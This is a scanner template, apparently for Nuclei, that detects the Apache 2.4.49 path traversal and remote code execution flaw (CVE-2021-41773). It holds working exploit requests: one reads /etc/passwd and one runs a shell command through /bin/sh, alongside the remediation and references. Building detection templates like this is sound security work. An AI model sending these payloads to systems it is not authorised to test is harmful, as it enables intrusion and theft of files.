id: CVE-2021-41773

info:
  name: Apache 2.4.49 - Path Traversal and Remote Code Execution
  author: daffainfo
  severity: high
  description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
  remediation: Update to Apache HTTP Server 2.4.50 or later.
  reference:
    - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
    - https://twitter.com/ptswarm/status/1445376079548624899
    - https://twitter.com/h4x0r_dz/status/1445401960371429381
    - https://github.com/blasty/CVE-2021-41773
  tags: cve,cve2021,lfi,rce,apache,misconfig,traversal
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2021-41773
    cwe-id: CWE-22
  metadata:
    shodan-query: https://www.shodan.io/search?query=apache+version%3A2.4.49

requests:
  - raw:
      - |
        GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        echo Content-Type: text/plain; echo; echo COP-37714-1202-EVC | rev

    matchers-condition: or
    matchers:

      - type: regex
        name: LFI
        regex:
          - "root:.*:0:0"

      - type: word
        name: RCE
        words:
          - "CVE-2021-41773-POC"

# Enhanced by mp on 2022/02/27